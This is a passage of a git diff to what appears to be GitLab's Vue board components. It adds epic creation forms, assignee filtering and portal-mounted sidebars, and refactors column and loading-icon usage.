+ <template #completedWeight>{{
+ item.descendantWeightSum.closedIssues
+ }}</template>
+ <template #totalWeight>{{ totalWeight }}</template>
+ </gl-sprintf>
+ </span>
+ </p>
+ </gl-tooltip>
+
+ <span ref="countBadge" class="issue-count-badge board-card-info gl-mr-0 gl-pr-0">
+ <span v-if="allowSubEpics" class="gl-mr-3">
+ <gl-icon name="epic" />
+ {{ totalEpicsCount }}
+ </span>
+ <span class="gl-mr-3" data-testid="epic-countables-counts-issues">
+ <gl-icon name="issues" />
+ {{ totalIssuesCount }}
+ </span>
+ <span class="gl-mr-3" data-testid="epic-countables-weight-issues">
+ <gl-icon name="weight" />
+ {{ totalWeight }}
+ </span>
+ </span>
+
+ <span
+ v-if="shouldRenderEpicProgress"
+ ref="progressBadge"
+ class="issue-count-badge board-card-info gl-pl-0"
+ >
+ <span class="gl-mr-3" data-testid="epic-progress">
+ <gl-icon name="progress" />
+ {{ totalProgress }}%
+ </span>
+ </span>
+ </span>
+ <span v-if="!isEpicBoard">
+ <issue-due-date
+ v-if="item.dueDate"
+ :date="item.dueDate"
+ :closed="item.closed || Boolean(item.closedAt)"
+ />
+ <issue-time-estimate v-if="item.timeEstimate" :estimate="item.timeEstimate" />
+ <issue-card-weight
+ v-if="validIssueWeight(item)"
+ :weight="item.weight"
+ @click="filterByWeight(item.weight)"
+ />
+ </span>
</span>
</div>
<div class="board-card-assignee gl-display-flex">
diff --git a/app/assets/javascripts/boards/components/board_column.vue b/app/assets/javascripts/boards/components/board_column.vue
index cc7262f3a39..69abf886ad7 100644
--- a/app/assets/javascripts/boards/components/board_column.vue
+++ b/app/assets/javascripts/boards/components/board_column.vue
@@ -41,7 +41,7 @@ export default {
watch: {
filterParams: {
handler() {
- if (this.list.id) {
+ if (this.list.id && !this.list.collapsed) {
this.fetchItemsForList({ listId: this.list.id });
}
},
diff --git a/app/assets/javascripts/boards/components/board_content.vue b/app/assets/javascripts/boards/components/board_content.vue
index b770ac06e89..53b071aaed1 100644
--- a/app/assets/javascripts/boards/components/board_content.vue
+++ b/app/assets/javascripts/boards/components/board_content.vue
@@ -12,10 +12,8 @@ import BoardColumnDeprecated from './board_column_deprecated.vue';
export default {
components: {
BoardAddNewColumn,
- BoardColumn:
- gon.features?.graphqlBoardLists || gon.features?.epicBoards
- ? BoardColumn
- : BoardColumnDeprecated,
+ BoardColumn,
+ BoardColumnDeprecated,
BoardContentSidebar: () => import('~/boards/components/board_content_sidebar.vue'),
EpicBoardContentSidebar: () =>
import('ee_component/boards/components/epic_board_content_sidebar.vue'),
@@ -38,11 +36,14 @@ export default {
computed: {
...mapState(['boardLists', 'error', 'addColumnForm']),
...mapGetters(['isSwimlanesOn', 'isEpicBoard']),
+ useNewBoardColumnComponent() {
+ return this.glFeatures.graphqlBoardLists || this.isSwimlanesOn || this.isEpicBoard;
+ },
addColumnFormVisible() {
return this.addColumnForm?.visible;
},
boardListsToUse() {
- return this.glFeatures.graphqlBoardLists || this.isSwimlanesOn || this.isEpicBoard
+ return this.useNewBoardColumnComponent
? sortBy([...Object.values(this.boardLists)], 'position')
: this.lists;
},
@@ -65,6 +66,9 @@ export default {
return this.canDragColumns ? options : {};
},
+ boardColumnComponent() {
+ return this.useNewBoardColumnComponent ? BoardColumn : BoardColumnDeprecated;
+ },
},
methods: {
...mapActions(['moveList', 'unsetError']),
@@ -102,7 +106,8 @@ export default {
class="boards-list gl-w-full gl-py-5 gl-px-3 gl-white-space-nowrap"
@end="handleDragOnEnd"
>
- <board-column
+ <component
+ :is="boardColumnComponent"
v-for="(list, index) in boardListsToUse"
:key="index"
ref="board"
@@ -125,14 +130,9 @@ export default {
<board-content-sidebar
v-if="isSwimlanesOn || glFeatures.graphqlBoardLists"
- class="boards-sidebar"
data-testid="issue-boards-sidebar"
/>
- <epic-board-content-sidebar
- v-else-if="isEpicBoard"
- class="boards-sidebar"
- data-testid="epic-boards-sidebar"
- />
+ <epic-board-content-sidebar v-else-if="isEpicBoard" data-testid="epic-boards-sidebar" />
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_content_sidebar.vue b/app/assets/javascripts/boards/components/board_content_sidebar.vue
index 16a8a9d253f..e014b82d362 100644
--- a/app/assets/javascripts/boards/components/board_content_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_content_sidebar.vue
@@ -1,20 +1,20 @@
<script>
import { GlDrawer } from '@gitlab/ui';
+import { MountingPortal } from 'portal-vue';
import { mapState, mapActions, mapGetters } from 'vuex';
import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdown_widget.vue';
import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
import BoardSidebarTimeTracker from '~/boards/components/sidebar/board_sidebar_time_tracker.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
import { ISSUABLE } from '~/boards/constants';
-import { contentTop } from '~/lib/utils/common_utils';
import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
import SidebarConfidentialityWidget from '~/sidebar/components/confidential/sidebar_confidentiality_widget.vue';
import SidebarDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarSubscriptionsWidget from '~/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue';
+import SidebarTodoWidget from '~/sidebar/components/todo_toggle/sidebar_todo_widget.vue';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
- headerHeight: `${contentTop()}px`,
components: {
GlDrawer,
BoardSidebarTitle,
@@ -25,8 +25,10 @@ export default {
BoardSidebarLabelsSelect,
SidebarSubscriptionsWidget,
SidebarDropdownWidget,
- BoardSidebarWeightInput: () =>
- import('ee_component/boards/components/sidebar/board_sidebar_weight_input.vue'),
+ SidebarTodoWidget,
+ MountingPortal,
+ SidebarWeightWidget: () =>
+ import('ee_component/sidebar/components/weight/sidebar_weight_widget.vue'),
IterationSidebarDropdownWidget: () =>
import('ee_component/sidebar/components/iteration_sidebar_dropdown_widget.vue'),
},
@@ -45,6 +47,7 @@ export default {
default: false,
},
},
+ inheritAttrs: false,
computed: {
...mapGetters([
'isSidebarOpen',
@@ -64,7 +67,12 @@ export default {
},
},
methods: {
- ...mapActions(['toggleBoardItem', 'setAssignees', 'setActiveItemConfidential']),
+ ...mapActions([
+ 'toggleBoardItem',
+ 'setAssignees',
+ 'setActiveItemConfidential',
+ 'setActiveItemWeight',
+ ]),
handleClose() {
this.toggleBoardItem({ boardItem: this.activeBoardItem, sidebarType: this.sidebarType });
},
@@ -73,87 +81,105 @@ export default {
</script>
<template>
- <gl-drawer
- v-if="showSidebar"
- :open="isSidebarOpen"
- :header-height="$options.headerHeight"
- @close="handleClose"
- >
- <template #header>{{ __('Issue details') }}</template>
- <template #default>
- <board-sidebar-title />
- <sidebar-assignees-widget
- :iid="activeBoardItem.iid"
- :full-path="fullPath"
- :initial-assignees="activeBoardItem.assignees"
- :allow-multiple-assignees="multipleAssigneesFeatureAvailable"
- @assignees-updated="setAssignees"
- />
- <sidebar-dropdown-widget
- v-if="epicFeatureAvailable"
- :iid="activeBoardItem.iid"
- issuable-attribute="epic"
- :workspace-path="projectPathForActiveIssue"
- :attr-workspace-path="groupPathForActiveIssue"
- :issuable-type="issuableType"
- data-testid="sidebar-epic"
- />
- <div>
+ <mounting-portal mount-to="#js-right-sidebar-portal" name="board-content-sidebar" append>
+ <gl-drawer
+ v-if="showSidebar"
+ v-bind="$attrs"
+ :open="isSidebarOpen"
+ class="boards-sidebar gl-absolute"
+ @close="handleClose"
+ >
+ <template #title>
+ <h2 class="gl-my-0 gl-font-size-h2 gl-line-height-24">{{ __('Issue details') }}</h2>
+ </template>
+ <template #header>
+ <sidebar-todo-widget
+ class="gl-mt-3"
+ :issuable-id="activeBoardItem.fullId"
+ :issuable-iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :issuable-type="issuableType"
+ />
+ </template>
+ <template #default>
+ <board-sidebar-title />
+ <sidebar-assignees-widget
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :initial-assignees="activeBoardItem.assignees"
+ :allow-multiple-assignees="multipleAssigneesFeatureAvailable"
+ @assignees-updated="setAssignees"
+ />
<sidebar-dropdown-widget
+ v-if="epicFeatureAvailable"
:iid="activeBoardItem.iid"
- issuable-attribute="milestone"
+ issuable-attribute="epic"
:workspace-path="projectPathForActiveIssue"
- :attr-workspace-path="projectPathForActiveIssue"
+ :attr-workspace-path="groupPathForActiveIssue"
:issuable-type="issuableType"
- data-testid="sidebar-milestones"
+ data-testid="sidebar-epic"
/>
- <template v-if="!glFeatures.iterationCadences">
+ <div>
<sidebar-dropdown-widget
- v-if="iterationFeatureAvailable"
:iid="activeBoardItem.iid"
- issuable-attribute="iteration"
+ issuable-attribute="milestone"
:workspace-path="projectPathForActiveIssue"
- :attr-workspace-path="groupPathForActiveIssue"
+ :attr-workspace-path="projectPathForActiveIssue"
:issuable-type="issuableType"
- class="gl-mt-5"
- data-testid="iteration-edit"
- data-qa-selector="iteration_container"
+ data-testid="sidebar-milestones"
/>
- </template>
- <template v-else>
- <iteration-sidebar-dropdown-widget
- v-if="iterationFeatureAvailable"
- :iid="activeBoardItem.iid"
- :workspace-path="projectPathForActiveIssue"
- :attr-workspace-path="groupPathForActiveIssue"
- :issuable-type="issuableType"
- class="gl-mt-5"
- data-testid="iteration-edit"
- data-qa-selector="iteration_container"
- />
- </template>
- </div>
- <board-sidebar-time-tracker class="swimlanes-sidebar-time-tracker" />
- <sidebar-date-widget
- :iid="activeBoardItem.iid"
- :full-path="fullPath"
- :issuable-type="issuableType"
- data-testid="sidebar-due-date"
- />
- <board-sidebar-labels-select class="labels" />
- <board-sidebar-weight-input v-if="weightFeatureAvailable" class="weight" />
- <sidebar-confidentiality-widget
- :iid="activeBoardItem.iid"
- :full-path="fullPath"
- :issuable-type="issuableType"
- @confidentialityUpdated="setActiveItemConfidential($event)"
- />
- <sidebar-subscriptions-widget
- :iid="activeBoardItem.iid"
- :full-path="fullPath"
- :issuable-type="issuableType"
- data-testid="sidebar-notifications"
- />
- </template>
- </gl-drawer>
+ <template v-if="!glFeatures.iterationCadences">
+ <sidebar-dropdown-widget
+ v-if="iterationFeatureAvailable"
+ :iid="activeBoardItem.iid"
+ issuable-attribute="iteration"
+ :workspace-path="projectPathForActiveIssue"
+ :attr-workspace-path="groupPathForActiveIssue"
+ :issuable-type="issuableType"
+ class="gl-mt-5"
+ data-testid="iteration-edit"
+ />
+ </template>
+ <template v-else>
+ <iteration-sidebar-dropdown-widget
+ v-if="iterationFeatureAvailable"
+ :iid="activeBoardItem.iid"
+ :workspace-path="projectPathForActiveIssue"
+ :attr-workspace-path="groupPathForActiveIssue"
+ :issuable-type="issuableType"
+ class="gl-mt-5"
+ data-testid="iteration-edit"
+ />
+ </template>
+ </div>
+ <board-sidebar-time-tracker class="swimlanes-sidebar-time-tracker" />
+ <sidebar-date-widget
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :issuable-type="issuableType"
+ data-testid="sidebar-due-date"
+ />
+ <board-sidebar-labels-select class="labels" />
+ <sidebar-weight-widget
+ v-if="weightFeatureAvailable"
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :issuable-type="issuableType"
+ @weightUpdated="setActiveItemWeight($event)"
+ />
+ <sidebar-confidentiality-widget
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :issuable-type="issuableType"
+ @confidentialityUpdated="setActiveItemConfidential($event)"
+ />
+ <sidebar-subscriptions-widget
+ :iid="activeBoardItem.iid"
+ :full-path="fullPath"
+ :issuable-type="issuableType"
+ data-testid="sidebar-notifications"
+ />
+ </template>
+ </gl-drawer>
+ </mounting-portal>
</template>
diff --git a/app/assets/javascripts/boards/components/board_filtered_search.vue b/app/assets/javascripts/boards/components/board_filtered_search.vue
index 13388f02f1f..cfd6b21fa66 100644
--- a/app/assets/javascripts/boards/components/board_filtered_search.vue
+++ b/app/assets/javascripts/boards/components/board_filtered_search.vue
@@ -27,7 +27,7 @@ export default {
},
computed: {
urlParams() {
- const { authorUsername, labelName, search } = this.filterParams;
+ const { authorUsername, labelName, assigneeUsername, search } = this.filterParams;
let notParams = {};
if (Object.prototype.hasOwnProperty.call(this.filterParams, 'not')) {
@@ -35,6 +35,7 @@ export default {
{
'not[label_name][]': this.filterParams.not.labelName,
'not[author_username]': this.filterParams.not.authorUsername,
+ 'not[assignee_username]': this.filterParams.not.assigneeUsername,
},
undefined,
);
@@ -44,6 +45,7 @@ export default {
...notParams,
author_username: authorUsername,
'label_name[]': labelName,
+ assignee_username: assigneeUsername,
search,
};
},
@@ -62,7 +64,7 @@ export default {
this.performSearch();
},
getFilteredSearchValue() {
- const { authorUsername, labelName, search } = this.filterParams;
+ const { authorUsername, labelName, assigneeUsername, search } = this.filterParams;
const filteredSearchValue = [];
if (authorUsername) {
@@ -72,6 +74,13 @@ export default {
});
}
+ if (assigneeUsername) {
+ filteredSearchValue.push({
+ type: 'assignee_username',
+ value: { data: assigneeUsername, operator: '=' },
+ });
+ }
+
if (labelName?.length) {
filteredSearchValue.push(
...labelName.map((label) => ({
@@ -88,6 +97,13 @@ export default {
});
}
+ if (this.filterParams['not[assigneeUsername]']) {
+ filteredSearchValue.push({
+ type: 'assignee_username',
+ value: { data: this.filterParams['not[assigneeUsername]'], operator: '!=' },
+ });
+ }
+
if (this.filterParams['not[labelName]']) {
filteredSearchValue.push(
...this.filterParams['not[labelName]'].map((label) => ({
@@ -121,6 +137,9 @@ export default {
case 'author_username':
filterParams.authorUsername = filter.value.data;
break;
+ case 'assignee_username':
+ filterParams.assigneeUsername = filter.value.data;
+ break;
case 'label_name':
labels.push(filter.value.data);
break;
diff --git a/app/assets/javascripts/boards/components/board_form.vue b/app/assets/javascripts/boards/components/board_form.vue
index aa75a0d68f5..386ed6bd0a1 100644
--- a/app/assets/javascripts/boards/components/board_form.vue
+++ b/app/assets/javascripts/boards/components/board_form.vue
@@ -2,9 +2,9 @@
import { GlModal, GlAlert } from '@gitlab/ui';
import { mapGetters, mapActions, mapState } from 'vuex';
import ListLabel from '~/boards/models/label';
+import { TYPE_ITERATION, TYPE_MILESTONE, TYPE_USER } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
-import { getParameterByName } from '~/lib/utils/common_utils';
-import { visitUrl } from '~/lib/utils/url_utility';
+import { getParameterByName, visitUrl } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
import { fullLabelId, fullBoardId } from '../boards_util';
import { formType } from '../constants';
@@ -188,21 +188,19 @@ export default {
};
},
issueBoardScopeMutationVariables() {
- /* eslint-disable @gitlab/require-i18n-strings */
return {
weight: this.board.weight,
assigneeId: this.board.assignee?.id
- ? convertToGraphQLId('User', this.board.assignee.id)
+ ? convertToGraphQLId(TYPE_USER, this.board.assignee.id)
: null,
milestoneId:
this.board.milestone?.id || this.board.milestone?.id === 0
- ? convertToGraphQLId('Milestone', this.board.milestone.id)
+ ? convertToGraphQLId(TYPE_MILESTONE, this.board.milestone.id)
: null,
iterationId: this.board.iteration_id
- ? convertToGraphQLId('Iteration', this.board.iteration_id)
+ ? convertToGraphQLId(TYPE_ITERATION, this.board.iteration_id)
: null,
};
- /* eslint-enable @gitlab/require-i18n-strings */
},
boardScopeMutationVariables() {
return {
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index 81740b5cd17..8dca6be853f 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -6,6 +6,7 @@ import { sortableStart, sortableEnd } from '~/boards/mixins/sortable_default_opt
import { sprintf, __ } from '~/locale';
import defaultSortableConfig from '~/sortable/sortable_config';
import Tracking from '~/tracking';
+import { toggleFormEventPrefix } from '../constants';
import eventHub from '../eventhub';
import BoardCard from './board_card.vue';
import BoardNewIssue from './board_new_issue.vue';
@@ -21,6 +22,7 @@ export default {
components: {
BoardCard,
BoardNewIssue,
+ BoardNewEpic: () => import('ee_component/boards/components/board_new_epic.vue'),
GlLoadingIcon,
GlIntersectionObserver,
},
@@ -49,6 +51,7 @@ export default {
scrollOffset: 250,
showCount: false,
showIssueForm: false,
+ showEpicForm: false,
};
},
computed: {
@@ -64,6 +67,9 @@ export default {
issuableType: this.isEpicBoard ? 'epics' : 'issues',
});
},
+ toggleFormEventPrefix() {
+ return this.isEpicBoard ? toggleFormEventPrefix.epic : toggleFormEventPrefix.issue;
+ },
boardItemsSizeExceedsMax() {
return this.list.maxIssueCount > 0 && this.listItemsCount > this.list.maxIssueCount;
},
@@ -76,6 +82,12 @@ export default {
loadingMore() {
return this.listsFlags[this.list.id]?.isLoadingMore;
},
+ epicCreateFormVisible() {
+ return this.isEpicBoard && this.list.listType !== 'closed' && this.showEpicForm;
+ },
+ issueCreateFormVisible() {
+ return !this.isEpicBoard && this.list.listType !== 'closed' && this.showIssueForm;
+ },
listRef() {
// When list is draggable, the reference to the list needs to be accessed differently
return this.canAdminList ? this.$refs.list.$el : this.$refs.list;
@@ -116,9 +128,10 @@ export default {
'list.id': {
handler(id, oldVal) {
if (id) {
- eventHub.$on(`toggle-issue-form-${this.list.id}`, this.toggleForm);
+ eventHub.$on(`${this.toggleFormEventPrefix}${this.list.id}`, this.toggleForm);
eventHub.$on(`scroll-board-list-${this.list.id}`, this.scrollToTop);
- eventHub.$off(`toggle-issue-form-${oldVal}`, this.toggleForm);
+
+ eventHub.$off(`${this.toggleFormEventPrefix}${oldVal}`, this.toggleForm);
eventHub.$off(`scroll-board-list-${oldVal}`, this.scrollToTop);
}
},
@@ -126,7 +139,7 @@ export default {
},
},
beforeDestroy() {
- eventHub.$off(`toggle-issue-form-${this.list.id}`, this.toggleForm);
+ eventHub.$off(`${this.toggleFormEventPrefix}${this.list.id}`, this.toggleForm);
eventHub.$off(`scroll-board-list-${this.list.id}`, this.scrollToTop);
},
methods: {
@@ -147,7 +160,11 @@ export default {
this.fetchItemsForList({ listId: this.list.id, fetchNext: true });
},
toggleForm() {
- this.showIssueForm = !this.showIssueForm;
+ if (this.isEpicBoard) {
+ this.showEpicForm = !this.showEpicForm;
+ } else {
+ this.showIssueForm = !this.showIssueForm;
+ }
},
onReachingListBottom() {
if (!this.loadingMore && this.hasNextPage) {
@@ -225,9 +242,10 @@ export default {
:aria-label="$options.i18n.loading"
data-testid="board_list_loading"
>
- <gl-loading-icon />
+ <gl-loading-icon size="sm" />
</div>
- <board-new-issue v-if="list.listType !== 'closed' && showIssueForm" :list="list" />
+ <board-new-issue v-if="issueCreateFormVisible" :list="list" />
+ <board-new-epic v-if="epicCreateFormVisible" :list="list" />
<component
:is="treeRootWrapper"
v-show="!loading"
@@ -255,6 +273,7 @@ export default {
<li v-if="showCount" class="board-list-count gl-text-center" data-issue-id="-1">
<gl-loading-icon
v-if="loadingMore"
+ size="sm"
:label="$options.i18n.loadingMoreboardItems"
data-testid="count-loading-icon"
/>
diff --git a/app/assets/javascripts/boards/components/board_list_deprecated.vue b/app/assets/javascripts/boards/components/board_list_deprecated.vue
index 9b3e7e1547d..fabaf7a85f5 100644
--- a/app/assets/javascripts/boards/components/board_list_deprecated.vue
+++ b/app/assets/javascripts/boards/components/board_list_deprecated.vue
@@ -429,7 +429,7 @@ export default {
data-qa-selector="board_list_cards_area"
>
<div v-if="loading" class="board-list-loading text-center" :aria-label="__('Loading issues')">
- <gl-loading-icon />
+ <gl-loading-icon size="sm" />
</div>
<board-new-issue v-if="list.type !== 'closed' && showIssueForm" :list="list" />
<ul
@@ -450,7 +450,7 @@ export default {
:disabled="disabled"
/>
<li v-if="showCount" class="board-list-count text-center" data-issue-id="-1">
- <gl-loading-icon v-show="list.loadingMore" label="Loading more issues" />
+ <gl-loading-icon v-show="list.loadingMore" size="sm" label="Loading more issues" />
<span v-if="list.issues.length === list.issuesSize">{{ __('Showing all issues') }}</span>
<span v-else>{{ paginatedIssueText }}</span>
</li>
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index bf8396f52a6..8d5f0f7eb89 100644
--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -16,13 +16,14 @@ import { n__, s__, __ } from '~/locale';
import sidebarEventHub from '~/sidebar/event_hub';
import Tracking from '~/tracking';
import AccessorUtilities from '../../lib/utils/accessor';
-import { inactiveId, LIST, ListType } from '../constants';
+import { inactiveId, LIST, ListType, toggleFormEventPrefix } from '../constants';
import eventHub from '../eventhub';
import ItemCount from './item_count.vue';
export default {
i18n: {
newIssue: __('New issue'),
+ newEpic: s__('Boards|New epic'),
listSettings: __('List settings'),
expand: s__('Boards|Expand'),
collapse: s__('Boards|Collapse'),
@@ -72,7 +73,7 @@ export default {
},
computed: {
...mapState(['activeId']),
- ...mapGetters(['isEpicBoard']),
+ ...mapGetters(['isEpicBoard', 'isSwimlanesOn']),
isLoggedIn() {
return Boolean(this.currentUserId);
},
@@ -102,7 +103,7 @@ export default {
},
showListHeaderActions() {
if (this.isLoggedIn) {
- return this.isNewIssueShown || this.isSettingsShown;
+ return this.isNewIssueShown || this.isNewEpicShown || this.isSettingsShown;
}
return false;
},
@@ -124,6 +125,9 @@ export default {
isNewIssueShown() {
return (this.listType === ListType.backlog || this.showListHeaderButton) && !this.isEpicBoard;
},
+ isNewEpicShown() {
+ return this.isEpicBoard && this.listType !== ListType.closed;
+ },
isSettingsShown() {
return (
this.listType !== ListType.backlog && this.showListHeaderButton && !this.list.collapsed
@@ -165,7 +169,17 @@ export default {
},
showNewIssueForm() {
- eventHub.$emit(`toggle-issue-form-${this.list.id}`);
+ if (this.isSwimlanesOn) {
+ eventHub.$emit('open-unassigned-lane');
+ this.$nextTick(() => {
+ eventHub.$emit(`${toggleFormEventPrefix.issue}${this.list.id}`);
+ });
+ } else {
+ eventHub.$emit(`${toggleFormEventPrefix.issue}${this.list.id}`);
+ }
+ },
+ showNewEpicForm() {
+ eventHub.$emit(`${toggleFormEventPrefix.epic}${this.list.id}`);
},
toggleExpanded() {
const collapsed = !this.list.collapsed;
@@ -342,7 +356,7 @@ export default {
<!-- EE end -->
<div
- class="issue-count-badge gl-display-inline-flex gl-pr-0 no-drag gl-text-gray-500"
+ class="issue-count-badge gl-display-inline-flex gl-pr-2 no-drag gl-text-gray-500"
data-testid="issue-count-badge"
:class="{
'gl-display-none!': list.collapsed && isSwimlanesHeader,
@@ -380,6 +394,17 @@ export default {
/>
<gl-button
+ v-if="isNewEpicShown"
+ v-show="!list.collapsed"
+ v-gl-tooltip.hover
+ :aria-label="$options.i18n.newEpic"
+ :title="$options.i18n.newEpic"
+ class="no-drag"
+ icon="plus"
+ @click="showNewEpicForm"
+ />
+
+ <gl-button
v-if="isSettingsShown"
ref="settingsBtn"
v-gl-tooltip.hover
diff --git a/app/assets/javascripts/boards/components/board_new_issue.vue b/app/assets/javascripts/boards/components/board_new_issue.vue
index a63b49f9508..caeecb25227 100644
--- a/app/assets/javascripts/boards/components/board_new_issue.vue
+++ b/app/assets/javascripts/boards/components/board_new_issue.vue
@@ -4,13 +4,13 @@ import { mapActions, mapGetters, mapState } from 'vuex';
import { getMilestone } from 'ee_else_ce/boards/boards_util';
import BoardNewIssueMixin from 'ee_else_ce/boards/mixins/board_new_issue';
import { __ } from '~/locale';
+import { toggleFormEventPrefix } from '../constants';
import eventHub from '../eventhub';
import ProjectSelect from './project_select.vue';
export default {
name: 'BoardNewIssue',
i18n: {
- submit: __('Create issue'),
cancel: __('Cancel'),
},
components: {
@@ -32,7 +32,15 @@ export default {
},
computed: {
...mapState(['selectedProject']),
- ...mapGetters(['isGroupBoard']),
+ ...mapGetters(['isGroupBoard', 'isEpicBoard']),
+ /**
+ * We've extended this component in EE where
+ * submitButtonTitle returns a different string
+ * hence this is kept as a computed prop.
+ */
+ submitButtonTitle() {
+ return __('Create issue');
+ },
disabled() {
if (this.isGroupBoard) {
return this.title === '' || !this.selectedProject.name;
@@ -50,9 +58,7 @@ export default {
},
methods: {
...mapActions(['addListNewIssue']),
- submit(e) {
- e.preventDefault();
-
+ submit() {
const { title } = this;
const labels = this.list.label ? [this.list.label] : [];
const assignees = this.list.assignee ? [this.list.assignee] : [];
@@ -76,7 +82,7 @@ export default {
},
reset() {
this.title = '';
- eventHub.$emit(`toggle-issue-form-${this.list.id}`);
+ eventHub.$emit(`${toggleFormEventPrefix.issue}${this.list.id}`);
},
},
};
@@ -85,7 +91,7 @@ export default {
<template>
<div class="board-new-issue-form">
<div class="board-card position-relative p-3 rounded">
- <form ref="submitForm" @submit="submit">
+ <form ref="submitForm" @submit.prevent="submit">
<label :for="inputFieldId" class="label-bold">{{ __('Title') }}</label>
<input
:id="inputFieldId"
@@ -96,7 +102,7 @@ export default {
name="issue_title"
autocomplete="off"
/>
- <project-select v-if="isGroupBoard" :group-id="groupId" :list="list" />
+ <project-select v-if="isGroupBoard && !isEpicBoard" :group-id="groupId" :list="list" />
<div class="clearfix gl-mt-3">
<gl-button
ref="submitButton"
@@ -106,7 +112,7 @@ export default {
category="primary"
type="submit"
>
- {{ $options.i18n.submit }}
+ {{ submitButtonTitle }}
</gl-button>
<gl-button
ref="cancelButton"
diff --git a/app/assets/javascripts/boards/components/board_settings_sidebar.vue b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
index 75975c77df5..c089a6a39af 100644
--- a/app/assets/javascripts/boards/components/board_settings_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
@@ -1,5 +1,6 @@
<script>
import { GlButton, GlDrawer, GlLabel } from '@gitlab/ui';
+import { MountingPortal } from 'portal-vue';
import { mapActions, mapState, mapGetters } from 'vuex';
import { LIST, ListType, ListTypeTitles } from '~/boards/constants';
import boardsStore from '~/boards/stores/boards_store';
@@ -9,14 +10,13 @@ import eventHub from '~/sidebar/event_hub';
import Tracking from '~/tracking';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-// NOTE: need to revisit how we handle headerHeight, because we have so many different header and footer options.
export default {
- headerHeight: process.env.NODE_ENV === 'development' ? '75px' : '40px',
listSettingsText: __('List settings'),
components: {
GlButton,
GlDrawer,
GlLabel,
+ MountingPortal,
BoardSettingsSidebarWipLimit: () =>
import('ee_component/boards/components/board_settings_wip_limit.vue'),
BoardSettingsListTypes: () =>
@@ -24,6 +24,7 @@ export default {
},
mixins: [glFeatureFlagMixin(), Tracking.mixin()],
inject: ['canAdminList'],
+ inheritAttrs: false,
data() {
return {
ListType,
@@ -86,43 +87,45 @@ export default {
</script>
<template>
- <gl-drawer
- v-if="showSidebar"
- class="js-board-settings-sidebar"
- :open="isSidebarOpen"
- :header-height="$options.headerHeight"
- @close="unsetActiveId"
- >
- <template #header>{{ $options.listSettingsText }}</template>
- <template v-if="isSidebarOpen">
- <div v-if="boardListType === ListType.label">
- <label class="js-list-label gl-display-block">{{ listTypeTitle }}</label>
- <gl-label
- :title="activeListLabel.title"
- :background-color="activeListLabel.color"
- :scoped="showScopedLabels(activeListLabel)"
- />
- </div>
+ <mounting-portal mount-to="#js-right-sidebar-portal" name="board-settings-sidebar" append>
+ <gl-drawer
+ v-if="showSidebar"
+ v-bind="$attrs"
+ class="js-board-settings-sidebar gl-absolute"
+ :open="isSidebarOpen"
+ @close="unsetActiveId"
+ >
+ <template #title>{{ $options.listSettingsText }}</template>
+ <template v-if="isSidebarOpen">
+ <div v-if="boardListType === ListType.label">
+ <label class="js-list-label gl-display-block">{{ listTypeTitle }}</label>
+ <gl-label
+ :title="activeListLabel.title"
+ :background-color="activeListLabel.color"
+ :scoped="showScopedLabels(activeListLabel)"
+ />
+ </div>
- <board-settings-list-types
- v-else
- :active-list="activeList"
- :board-list-type="boardListType"
- />
- <board-settings-sidebar-wip-limit
- v-if="isWipLimitsOn"
- :max-issue-count="activeList.maxIssueCount"
- />
- <div v-if="canAdminList && !activeList.preset && activeList.id" class="gl-mt-4">
- <gl-button
- variant="danger"
- category="secondary"
- icon="remove"
- data-testid="remove-list"
- @click.stop="deleteBoard"
- >{{ __('Remove list') }}
- </gl-button>
- </div>
- </template>
- </gl-drawer>
+ <board-settings-list-types
+ v-else
+ :active-list="activeList"
+ :board-list-type="boardListType"
+ />
+ <board-settings-sidebar-wip-limit
+ v-if="isWipLimitsOn"
+ :max-issue-count="activeList.maxIssueCount"
+ />
+ <div v-if="canAdminList && !activeList.preset && activeList.id" class="gl-mt-4">
+ <gl-button
+ variant="danger"
+ category="secondary"
+ icon="remove"
+ data-testid="remove-list"
+ @click.stop="deleteBoard"
+ >{{ __('Remove list') }}
+ </gl-button>
+ </div>
+ </template>
+ </gl-drawer>
+ </mounting-portal>
</template>
diff --git a/app/assets/javascripts/boards/components/board_sidebar.js b/app/assets/javascripts/boards/components/board_sidebar.js
index 55bc91cbcff..21a34182369 100644
--- a/app/assets/javascripts/boards/components/board_sidebar.js
+++ b/app/assets/javascripts/boards/components/board_sidebar.js
@@ -105,7 +105,7 @@ export default Vue.extend({
closeSidebar() {
this.detail.issue = {};
},
- setAssignees(assignees) {
+ setAssignees({ assignees }) {
boardsStore.detail.issue.setAssignees(assignees);
},
showScopedLabels(label) {
diff --git a/app/assets/javascripts/boards/components/boards_selector.vue b/app/assets/javascripts/boards/components/boards_selector.vue
index 5124467136e..98027917221 100644
--- a/app/assets/javascripts/boards/components/boards_selector.vue
+++ b/app/assets/javascripts/boards/components/boards_selector.vue
@@ -327,7 +327,7 @@ export default {
:class="scrollFadeClass"
></div>
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
